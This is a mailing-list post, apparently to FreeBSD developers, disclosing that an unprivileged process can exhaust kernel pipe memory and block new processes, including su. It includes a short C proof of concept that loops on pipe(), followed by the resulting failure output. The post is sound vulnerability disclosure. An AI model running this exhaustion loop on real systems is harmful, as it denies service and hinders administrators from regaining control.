pipe() resource exhaustion

[Ivan Voras]

Hello,

Last time I mentioned this it didn't get any attention, so I'll try
again. By accident (via a buggy synergy server process) I found that a
simple userland process can exhaust kernel pipe memory (kern.ipc.pipekva
sysctl) which as a consequence has that new processes which use pipe
cannot be started, which includes "su", by which an administrator could
kill such a process.

The description is simple enough, I don't think a proof of concept is
really needed, but here it is:

step 1:
run this as a normal, non-root user:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>
#include <string.h>

int main() {
	int fd[2];
	int is_error = 0;

	while (1) {
		if (pipe(fd) != 0) {
			if (!is_error) {
				printf("%s\n", strerror(errno));
				is_error = 1;
			}
		}
	}
}

step 2:
try and fail to run "su" in another terminal:

$ su
Password:
su: pipe: Cannot allocate memory

I'm sure this has other implications as well :)

The problem isn't present on all systems: on some it looks like the
limit on fd's is reached faster than the limit on pipekva. Of 5 machines
I tested, 3 running 9.x and 2 running 10.x, both machines running 10.x
exhaust pipekva before fd's, while only one machine running 9.x did
that. Neither machine had increased fd limits above the autotuned defaults.

Anecdotally, a machine which was running 9.x didn't experience this
problem with synergys, but it did when upgraded to 10.x with no change
to sysctl configuration.


-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 391 bytes
Desc: OpenPGP digital signature
URL: <http://lists.freebsd.org/pipermail/freebsd-hackers/attachments/20140407/2992e3fd/attachment.sig>